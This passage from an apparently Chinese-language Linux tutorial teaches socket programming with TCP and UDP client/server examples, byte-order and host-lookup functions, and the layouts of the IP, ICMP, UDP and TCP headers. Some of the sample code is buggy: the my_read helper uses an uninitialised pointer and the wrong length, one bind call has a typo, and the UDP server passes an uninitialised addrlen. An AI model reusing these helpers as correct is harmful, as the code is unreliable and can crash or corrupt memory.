if(bytes_copy_p==NULL)continue;
printf("Thread[%d] Copy %d bytes\n\a",i,*byte_copy_p);
byte_copy+=*byte_copy_p;
/* 釋放我們在copy函數裡面創建的內存 */
free(byte_copy_p);
}
}
printf("Total Copy Bytes %d\n\a",byte_copy);
free(thread);
free(file);
exit(0);
}
線程的介紹就到這裡了,關於線程的其他資料可以查看下面這寫鏈接.
Getting Started With POSIX Threads
The LinuxThreads library


8)Linux程序設計入門--網路編程

Linux系統的一個主要特點是他的網路功能非常強大。隨著網路的日益普及,基於網路的
應用也將越來越多。 在這個網路時代,掌握了Linux的網路編程技術,將令每一個人處
於不敗之地,學習Linux的網路編程,可以讓我們真正的體會到網路的魅力。 想成為一
位真正的hacker,必須掌握網路編程技術。
現在書店裡面已經有了許多關於Linux網路編程方面的書籍,網路上也有了許多關於
網路編程方面的教材,大家都可以 去看一看的。在這裡我會和大家一起來領會Linux網
絡編程的奧妙,由於我學習Linux的網路編程也開始不久,所以我下面所說的肯定會有錯
誤的, 還請大家指點出來,在這裡我先謝謝大家了。
在這一個章節裡面,我會和以前的幾個章節不同,在前面我都是概括的說了一下,
從現在開始我會儘可能的詳細的說明每一個函數及其用法。好了讓我們去領會Linux的偉
大的魅力吧!
開始進入網路編程



網路編程(1)

1. Linux網路知識介紹
1.1 客戶端程序和服務端程序
網路程序和普通的程序有一個最大的區別是網路程序是由兩個部分組成的--客戶端和服
務器端.
網路程序是先有伺服器程序啟動,等待客戶端的程序運行並建立連接.一般的來說是服務
端的程序 在一個埠上監聽,直到有一個客戶端的程序發來了請求.
1.2 常用的命令
由於網路程序是有兩個部分組成,所以在調試的時候比較麻煩,為此我們有必要知道一些
常用的網路命令
netstat
命令netstat是用來顯示網路的連接,路由表和介面統計等網路的信息.netstat有許多的
選項 我們常用的選項是 -an 用來顯示詳細的網路狀態.至於其它的選項我們可以使用幫
助手冊獲得詳細的情況.
telnet
telnet是一個用來遠程控制的程序,但是我們完全可以用這個程序來調試我們的服務端程
序的. 比如我們的伺服器程序在監聽8888埠,我們可以用telnet localhost 8888來查
看服務端的狀況.
1.3 TCP/UDP介紹
TCP(Transfer Control Protocol)傳輸控制協議是一種面向連接的協議,當我們的網路程
序使用 這個協議的時候,網路可以保證我們的客戶端和服務端的連接是可靠的,安全的.

UDP(User Datagram Protocol)用戶數據報協議是一種非面向連接的協議,這種協議並不
能保證我們 的網路程序的連接是可靠的,所以我們現在編寫的程序一般是採用TCP協議的
..

網路編程(2)

2. 初等網路函數介紹(TCP)
Linux系統是通過提供套接字(socket)來進行網路編程的.網路程序通過socket和其它
幾個函數的調用,會返回一個 通訊的文件描述符,我們可以將這個描述符看成普通的文件
的描述符來操作,這就是linux的設備無關性的 好處.我們可以通過向描述符讀寫操作實
現網路之間的數據交流.
2.1 socket
int socket(int domain, int type,int protocol)
domain:說明我們網路程序所在的主機採用的通訊協族(AF_UNIX和AF_INET等). AF_UN
IX只能夠用於單一的Unix系統進程間通信,而AF_INET是針對Internet的,因而可以允許在
遠程 主機之間通信(當我們 man socket時發現 domain可選項是 PF_*而不是AF_*,因為
glibc是posix的實現 所以用PF代替了AF,不過我們都可以使用的).
type:我們網路程序所採用的通訊協議(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明
我們用的是TCP協議,這樣會提供按順序的,可靠,雙向,面向連接的比特流. SOCK_DGRAM
表明我們用的是UDP協議,這樣只會提供定長的,不可靠,無連接的通信.
protocol:由於我們指定了type,所以這個地方我們一般只要用0來代替就可以了 sock
et為網路通訊做基本的準備.成功時返迴文件描述符,失敗時返回-1,看errno可知道出錯
的詳細情況.
2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket調用返回的文件描述符.
addrlen:是sockaddr結構的長度.
my_addr:是一個指向sockaddr的指針. 在中有 sockaddr的定義
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不過由於系統的兼容性,我們一般不用這個頭文件,而使用另外一個結構(struct sock
addr_in) 來代替.在中有sockaddr_in的定義
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
我們主要使用Internet所以sin_family一般為AF_INET,sin_addr設置為INADDR_ANY表
示可以 和任何的主機通信,sin_port是我們要監聽的埠號.sin_zero[8]是用來填充的
.. bind將本地的埠同socket返回的文件描述符捆綁在一起.成功是返回0,失敗的情況和
socket一樣
2.3 listen
int listen(int sockfd,int backlog)
sockfd:是bind后的文件描述符.
backlog:設置請求排隊的最大長度.當有多個客戶端程序和服務端相連時, 使用這個表示
可以介紹的排隊長度. listen函數將bind的文件描述符變為監聽套接字.返回的情況和b
ind一樣.
2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen后的文件描述符.
addr,addrlen是用來給客戶端的程序填寫的,伺服器端只要傳遞指針就可以了. bind,li
sten和accept是伺服器端用的函數,accept調用時,伺服器端的程序會一直阻塞到有一個
客戶程序發出了連接. accept成功時返回最後的伺服器端的文件描述符,這個時候服務
器端可以向該描述符寫信息了. 失敗時返回-1
2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:儲存了伺服器端的連接信息.其中sin_add是服務端的地址
addrlen:serv_addr的長度
connect函數是客戶端用來同服務端連接的.成功時返回0,sockfd是同服務端通訊的文件
描述符 失敗時返回-1.
2.6 實例
伺服器端程序
/******* 伺服器程序 (server.c) ************/
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?\n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
/* 伺服器端開始建立socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
exit(1);
}
/* 伺服器端填充 sockaddr結構 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆綁sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)
{
fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
exit(1);
}
/* 監聽sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
exit(1);
}
while(1)
{
/* 伺服器阻塞,直到客戶程序建立連接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
))==-1)
{
fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s\n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s\n",strerror(errno));
exit(1);
}
/* 這個通訊已經結束 */
close(new_fd);
/* 循環下一個 */
}
close(sockfd);
exit(0);
}
客戶端程序
/******* 客戶端程序 client.c ************/
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error\n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
/* 客戶程序開始建立 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
exit(1);
}
/* 客戶程序填充服務端的資料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->h_addr);
/* 客戶程序發起連接請求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)
)==-1)
{
fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
exit(1);
}
/* 連接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s\n",strerror(errno));
exit(1);
}
buffer[nbytes]='\0';
printf("I have received:%s\n",buffer);
/* 結束通訊 */
close(sockfd);
exit(0);
}
MakeFile
這裡我們使用GNU 的make實用程序來編譯. 關於make的詳細說明見 Make 使用介紹
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@
運行make後會產生兩個程序server(伺服器端)和client(客戶端) 先運行./server port
number& (portnumber隨便取一個大於1204且不在/etc/services中出現的號碼 就用888
8好了),然後運行 ./client localhost 8888 看看有什麼結果. (你也可以用telnet和n
etstat試一試.) 上面是一個最簡單的網路程序,不過是不是也有點煩.上面有許多函數我
們還沒有解釋. 我會在下一章進行的詳細的說明.
2.7 總結
總的來說網路程序是由兩個部分組成的--客戶端和伺服器端.它們的建立步驟一般是:
伺服器端
socket-->bind-->listen-->accept
客戶端
socket-->connect
--

網路編程(3)

3. 伺服器和客戶機的信息函數
這一章我們來學習轉換和網路方面的信息函數.
3.1 位元組轉換函數
在網路上面有著許多類型的機器,這些機器在表示數據的位元組順序是不同的, 比如i386芯
片是低位元組在內存地址的低端,高位元組在高端,而alpha晶元卻相反. 為了統一起來,在Li
nux下面,有專門的位元組轉換函數.
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在這四個轉換函數中,h 代表host, n 代表 network.s 代表short l 代表long 第一個函
數的意義是將本機器上的long數據轉化為網路上的long. 其他幾個函數的意義也差不多
..
3.2 IP和域名的轉換
在網路上標誌一台機器可以用IP或者是用域名.那麼我們怎麼去進行轉換呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
中有struct hostent的定義
struct hostent{
char *h_name; /* 主機的正式名稱 */
char *h_aliases; /* 主機的別名 */
int h_addrtype; /* 主機的地址類型 AF_INET*/
int h_length; /* 主機的地址長度 對於IP4 是4位元組32位*/
char **h_addr_list; /* 主機的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主機的第一個IP地址*/
gethostbyname可以將機器名(如 linux.yessun.com)轉換為一個結構指針.在這個結構里
面儲存了域名的信息
gethostbyaddr可以將一個32位的IP地址(C0A80001)轉換為結構指針.
這兩個函數失敗時返回NULL 且設置h_errno錯誤變數,調用h_strerror()可以得到詳細的
出錯信息
3.3 字元串的IP和32位的IP轉換.
在網路上面我們用的IP都是數字加點(192.168.0.1)構成的, 而在struct in_addr結構中
用的是32位的IP, 我們上面那個32位IP(C0A80001)是的192.168.0.1 為了轉換我們可以
使用下面兩個函數
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函數裡面 a 代表 ascii n 代表network.第一個函數表示將a.b.c.d的IP轉換為32位的I
P,存儲在 inp指針裡面.第二個是將32位IP轉換為a.b.c.d的格式.
3.4 服務信息函數
在網路程序裡面我們有時候需要知道埠.IP和服務信息.這個時候我們可以使用以下幾
個函數
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服務名 */
char **s_aliases; /* 別名列表 */
int s_port; /* 埠號 */
char *s_proto; /* 使用的協議 */
}
一般我們很少用這幾個函數.對應客戶端,當我們要得到連接的埠號時在connect調用成
功后使用可得到 系統分配的埠號.對於服務端,我們用INADDR_ANY填充后,為了得到連
接的IP我們可以在accept調用成功后 使用而得到IP地址.
在網路上有許多的默認埠和服務,比如埠21對ftp80對應WWW.為了得到指定的埠號
的服務 我們可以調用第四個函數,相反為了得到埠號可以調用第三個函數.
3.5 一個例子
#include
#include
#include
#include
#include
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 這裡我們假設是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s\n",*argv);
}
else
{
/* 失敗,難道是域名?*/
host=gethostbyname(*argv); printf("Address information

of host %s\n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s\n",*arg
v);
continue;
}
printf("Official host name %s\n",host->h_name);
printf("Name aliases:");
for(alias=host->h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("\nIp address:");
for(alias=host->h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在這個例子裡面,為了判斷用戶輸入的是IP還是域名我們調用了兩個函數,第一次我們假
設輸入的是IP所以調用inet_aton, 失敗的時候,再調用gethostbyname而得到信息.
--

網路編程(4)

4. 完整的讀寫函數
一旦我們建立了連接,我們的下一步就是進行通信了.在Linux下面把我們前面建立的通道
看成是文件描述符,這樣伺服器端和客戶端進行通信時候,只要往文件描述符裡面讀寫東
西了. 就象我們往文件讀寫一樣.
4.1 寫函數write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函數將buf中的nbytes位元組內容寫入文件描述符fd.成功時返回寫的位元組數.失敗時
返回-1. 並設置errno變數. 在網路程序中,當我們向套接字文件描述符寫時有倆種可能
..
1)write的返回值大於0,表示寫了部分或者是全部的數據.
2)返回的值小於0,此時出現了錯誤.我們要根據錯誤類型來處理.
如果錯誤為EINTR表示在寫的時候出現了中斷錯誤.
如果為EPIPE表示網路連接出現了問題(對方已經關閉了連接).
為了處理以上的情況,我們自己編寫一個寫函數來處理這幾種情況.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>0)
{
/* 開始寫*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出錯了*/
{
if(errno==EINTR) /* 中斷錯誤 我們繼續寫*/
written_bytes=0;
else /* 其他錯誤 沒有辦法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 從剩下的地方繼續寫 */
}
return(0);
}
4.2 讀函數read
ssize_t read(int fd,void *buf,size_t nbyte) read函數是負責從fd中讀取內容.當讀
成功時,read返回實際所讀的位元組數,如果返回的值是0 表示已經讀到文件的結束了,小於
0表示出現了錯誤.如果錯誤為EINTR說明讀是由中斷引起的, 如果是ECONNREST表示網路
連接出了問題. 和上面一樣,我們也寫一個自己的讀函數.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 數據的傳遞
有了上面的兩個函數,我們就可以向客戶端或者是服務端傳遞數據了.比如我們要傳遞一
個結構.可以使用如下方式
/* 客戶端向服務端寫 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服務端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在網路上傳遞數據時我們一般都是把數據轉化為char類型的數據傳遞.接收的時候也是一
樣的 注意的是我們沒有必要在網路上傳遞指針(因為傳遞指針是沒有任何意義的,我們必
須傳遞指針所指向的內容)
--

網路編程(5)

5. 用戶數據報發送
我們前面已經學習網路程序的一個很大的部分,由這個部分的知識,我們實際上可以寫出
大部分的基於TCP協議的網路程序了.現在在Linux下的大部分程序都是用我們上面所學的
知識來寫的.我們可以去找一些源程序來參考一下.這一章,我們簡單的學習一下基於UDP
協議的網路程序.
5.1 兩個常用的函數
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka
ddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s
ockaddr *to int tolen)
sockfd,buf,len的意義和read,write一樣,分別表示套接字描述符,發送或接收的緩衝區
及大小.recvfrom負責從sockfd接收數據,如果from不是NULL,那麼在from裡面存儲了信息
來源的情況,如果對信息的來源不感興趣,可以將from和fromlen設置為NULL.sendto負責
向to發送信息.此時在to裡面存儲了收信息方的詳細資料.
5.2 一個實例
/* 服務端程序 server.c */
#include
#include
#include
#include
#include
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 從網路上度,寫到網路上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 顯示服務端已經收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0
)
{
fprintf(stderr,"Bind Error:%s\n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
/* 客戶端程序 */
#include
#include
#include
#include
#include
#include
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 從鍵盤讀入,寫到服務端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 從網路上讀,寫到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
/* 填充服務端的資料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s\n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 編譯文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
上面的實例如果大家編譯運行的話,會發現一個小問題的. 在我機器上面,我先運行服務
端,然後運行客戶端.在客戶端輸入信息,發送到服務端, 在服務端顯示已經收到信息,但
是客戶端沒有反映.再運行一個客戶端,向服務端發出信息 卻可以得到反應.我想可能是
第一個客戶端已經阻塞了.如果誰知道怎麼解決的話,請告訴我,謝謝. 由於UDP協議是不
保證可靠接收數據的要求,所以我們在發送信息的時候,系統並不能夠保證我們發出的信
息都正確無誤的到達目的地.一般的來說我們在編寫網路程序的時候都是選用TCP協議的
--

網路編程(6)

6. 高級套接字函數
在前面的幾個部分裡面,我們已經學會了怎麼樣從網路上讀寫信息了.前面的一些函數(r
ead,write)是網路程序裡面最基本的函數.也是最原始的通信函數.在這一章裡面,我們一
起來學習網路通信的高級函數.這一章我們學習另外幾個讀寫函數.
6.1 recv和send
recv和send函數提供了和read和write差不多的功能.不過它們提供 了第四個參數來控制
讀寫操作.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三個參數和read,write一樣,第四個參數可以是0或者是以下的組合
_______________________________________________________________
| MSG_DONTROUTE | 不查找路由表 |
| MSG_OOB | 接受或者發送帶外數據 |
| MSG_PEEK | 查看數據,並不從系統緩衝區移走數據 |
| MSG_WAITALL | 等待所有數據 |
|--------------------------------------------------------------|
MSG_DONTROUTE:是send函數使用的標誌.這個標誌告訴IP協議.目的主機在本地網路上面
,沒有必要查找路由表.這個標誌一般用網路診斷和路由程序裡面.
MSG_OOB:表示可以接收和發送帶外的數據.關於帶外數據我們以後會解釋的.
MSG_PEEK:是recv函數的使用標誌,表示只是從系統緩衝區中讀取內容,而不清楚系統緩衝
區的內容.這樣下次讀的時候,仍然是一樣的內容.一般在有多個進程讀寫數據時可以使用
這個標誌.
MSG_WAITALL是recv函數的使用標誌,表示等到所有的信息到達時才返回.使用這個標誌的
時候recv回一直阻塞,直到指定的條件滿足,或者是發生了錯誤. 1)當讀到了指定的位元組
時,函數正常返回.返回值等於len 2)當讀到了文件的結尾時,函數正常返回.返回值小於
len 3)當操作發生錯誤時,返回-1,且設置錯誤為相應的錯誤號(errno)
如果flags為0,則和read,write一樣的操作.還有其它的幾個選項,不過我們實際上用的很
少,可以查看 Linux Programmer's Manual得到詳細解釋.
6.2 recvfrom和sendto
這兩個函數一般用在非套接字的網路程序當中(UDP),我們已經在前面學會了.
6.3 recvmsg和sendmsg
recvmsg和sendmsg可以實現前面所有的讀寫函數的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 緩衝區開始的地址 */
size_t iov_len; /* 緩衝區的長度 */
}
msg_name和 msg_namelen當套接字是非面向連接時(UDP),它們存儲接收和發送方的地址
信息.msg_name實際上是一個指向struct sockaddr的指針,msg_name是結構的長度.當套
接字是面向連接時,這兩個值應設為NULL. msg_iov和msg_iovlen指出接受和發送的緩衝
區內容.msg_iov是一個結構指針,msg_iovlen指出這個結構數組的大小. msg_control和
msg_controllen這兩個變數是用來接收和發送控制數據時的 msg_flags指定接受和發送
的操作選項.和recv,send的選項一樣
6.4 套接字的關閉
關閉套接字有兩個函數close和shutdown.用close時和我們關閉文件一樣.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP連接是雙向的(是可讀寫的),當我們使用close時,會把讀寫通道都關閉,有時侯我們希
望只關閉一個方向,這個時候我們可以使用shutdown.針對不同的howto,系統回採取不同
的關閉方式.
howto=0這個時候系統會關閉讀通道.但是可以繼續往接字描述符寫.
howto=1關閉寫通道,和上面相反,著時候就只可以讀了.
howto=2關閉讀寫通道,和close一樣 在多進程程序裡面,如果有幾個子進程共享一個套接
字時,如果我們使用shutdown, 那麼所有的子進程都不能夠操作了,這個時候我們只能夠
使用close來關閉子進程的套接字描述符.



網路編程(7)

7. TCP/IP協議
你也許聽說過TCP/IP協議,那麼你知道到底什麼是TCP,什麼是IP嗎?在這一章裡面,我們一
起來學習這個目前網路上用最廣泛的協議.
7.1 網路傳輸分層
如果你考過計算機等級考試,那麼你就應該已經知道了網路傳輸分層這個概念.在網路上
,人們為了傳輸數據時的方便,把網路的傳輸分為7個層次.分別是:應用層,表示層,會話層
,傳輸層,網路層,數據鏈路層和物理層.分好了層以後,傳輸數據時,上一層如果要數據的
話,就可以直接向下一層要了,而不必要管數據傳輸的細節.下一層也只向它的上一層提供
數據,而不要去管其它東西了.如果你不想考試,你沒有必要去記這些東西的.只要知道是
分層的,而且各層的作用不同.
7.2 IP協議
IP協議是在網路層的協議.它主要完成數據包的發送作用. 下面這個表是IP4的數據包格

0 4 8 16 32
--------------------------------------------------
|版本 |首部長度|服務類型| 數據包總長 |
--------------------------------------------------
| 標識 |DF |MF| 碎片偏移 |
--------------------------------------------------
| 生存時間 | 協議 | 首部較驗和 |
------------------------------------------------
| 源IP地址 |
------------------------------------------------
| 目的IP地址 |
-------------------------------------------------
| 選項 |
=================================================
| 數據 |
-------------------------------------------------
下面我們看一看IP的結構定義
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP協議的版本號,這裡是4,現在IPV6已經出來了
ip_hlIP包首部長度,這個值以4位元組為單位.IP協議首部的固定長度為20個位元組,如果IP包
沒有選項,那麼這個值為5.
ip_tos服務類型,說明提供的優先權.
ip_len說明IP數據的長度.以位元組為單位.
ip_id標識這個IP數據包.
ip_off碎片偏移,這和上面ID一起用來重組碎片的.
ip_ttl生存時間.沒經過一個路由的時候減一,直到為0時被拋棄.
ip_p協議,表示創建這個IP數據包的高層協議.如TCP,UDP協議.
ip_sum首部校驗和,提供對首部數據的校驗.
ip_src,ip_dst發送者和接收者的IP地址
關於IP協議的詳細情況,請參考 RFC791
7.3 ICMP協議
ICMP是消息控制協議,也處於網路層.在網路上傳遞IP數據包時,如果發生了錯誤,那麼就
會用ICMP協議來報告錯誤.
ICMP包的結構如下:
0 8 16 32
---------------------------------------------------------------------
| 類型 | 代碼 | 校驗和 |
--------------------------------------------------------------------
| 數據 | 數據 |
--------------------------------------------------------------------
ICMP在中的定義是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
關於ICMP協議的詳細情況可以查看 RFC792
7.4 UDP協議
UDP協議是建立在IP協議基礎之上的,用在傳輸層的協議.UDP和IP協議一樣是不可靠的數
據報服務.UDP的頭格式為:
0 16 32
---------------------------------------------------
| UDP源埠 | UDP目的埠 |
---------------------------------------------------
| UDP數據報長度 | UDP數據報校驗 |
---------------------------------------------------
UDP結構在中的定義為:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
關於UDP協議的詳細情況,請參考 RFC768
7.5 TCP
TCP協議也是建立在IP協議之上的,不過TCP協議是可靠的.按照順序發送的.TCP的數據結
構比前面的結構都要複雜.
0 4 8 10 16 24 32
-------------------------------------------------------------------
| 源埠 | 目的埠 |
-------------------------------------------------------------------
| 序列號 |
------------------------------------------------------------------
| 確認號 |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|首部長度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
| 校驗和 | 緊急指針 |
-----------------------------------------------------------------
| 選項 | 填充位元組 |
-----------------------------------------------------------------
TCP的結構在中定義為:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source發送TCP數據的源埠
dest接受TCP數據的目的埠
seq標識該TCP所包含的數據位元組的開始序列號
ack_seq確認序列號,表示接受方下一次接受的數據序列號.
doff數據首部長度.和IP協議一樣,以4位元組為單位.一般的時候為5
urg如果設置緊急數據指針,則該位為1
ack如果確認號正確,那麼為1
psh如果設置為1,那麼接收方收到數據后,立即交給上一層程序
rst為1的時候,表示請求重新連接
syn為1的時候,表示請求建立連接
fin為1的時候,表示親戚關閉連接
window窗口,告訴接收者可以接收的大小
check對TCP數據進行較核
urg_ptr如果urg=1,那麼指出緊急數據對於歷史數據開始的序列號的偏移值
關於TCP協議的詳細情況,請查看 RFC793
7.6 TCP連接的建立
TCP協議是一種可靠的連接,為了保證連接的可靠性,TCP的連接要分為幾個步驟.我們把這
個連接過程稱為"三次握手".
下面我們從一個實例來分析建立連接的過程.
